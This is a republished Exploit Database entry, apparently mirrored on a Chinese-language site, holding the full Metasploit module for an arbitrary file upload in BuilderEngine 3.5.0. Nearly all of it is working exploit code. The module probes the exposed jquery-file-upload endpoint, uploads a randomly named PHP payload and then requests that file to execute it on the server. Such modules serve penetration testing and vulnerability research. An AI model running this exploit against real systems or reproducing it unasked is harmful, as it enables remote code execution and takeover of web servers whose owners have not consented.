BuilderEngine 3.5.0 – Arbitrary File Upload and Execution (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2017-05-17
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42025/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "BuilderEngine Arbitrary File Upload Vulnerability and execution",
  'Description'=> %q{
  This module exploits a vulnerability found in BuilderEngine 3.5.0
  via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious
  file, which would result in arbitrary remote code execution under the context of
  the web server.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'metanubix', # PoC
  'Marco Rivoli' # Metasploit
  ],
  'References' =>
  [
  ['EDB', '40390']
  ],
  'Payload'=>
  {
  'BadChars' => "\x00"
  },
  'DefaultOptions'=>
  {
  'EXITFUNC' => 'thread'
  },
  'Platform' => ['php'],
  'Arch' => ARCH_PHP,
  'Targets'=>
  [
  ['BuilderEngine 3.5.0', {}]
  ],
  'Privileged' => false,
  'DisclosureDate' => "Sep 18 2016",
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])
  ])
  end
  
  def check
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'
  
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')
  })
  
  if res && res.code == 200 && !res.body.blank?
  return Exploit::CheckCode::Appears
  else
  return Exploit::CheckCode::Safe
  end
  end
  
  def exploit
  uri = target_uri.path
  
  peer = "#{rhost}:#{rport}"
  php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
  data = Rex::MIME::Message.new
  payload_encoded = Rex::Text.rand_text_alpha(1)
  payload_encoded << "<?php "
  payload_encoded << payload.encoded
  payload_encoded << " ?>\r\n"
  data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
  post_data = data.to_s
  
  res = send_request_cgi({
  'uri'=> normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),
  'method' => 'POST',
  'ctype'=> "multipart/form-data; boundary=#{data.bound}",
  'data' => post_data
  })
  
  if res
  if res.code == 200 && res.body =~ /files|#{php_pagename}/
  print_good("Our payload is at: #{php_pagename}. Calling payload...")
  register_file_for_cleanup(php_pagename)
  else
  fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
  end
  else
  fail_with(Failure::Unknown, 'ERROR')
  end
  
  print_status("Calling payload...")
  send_request_cgi(
  'method' => 'GET',
  'uri'=> normalize_uri(uri,'files/', php_pagename)
  )
  end
  end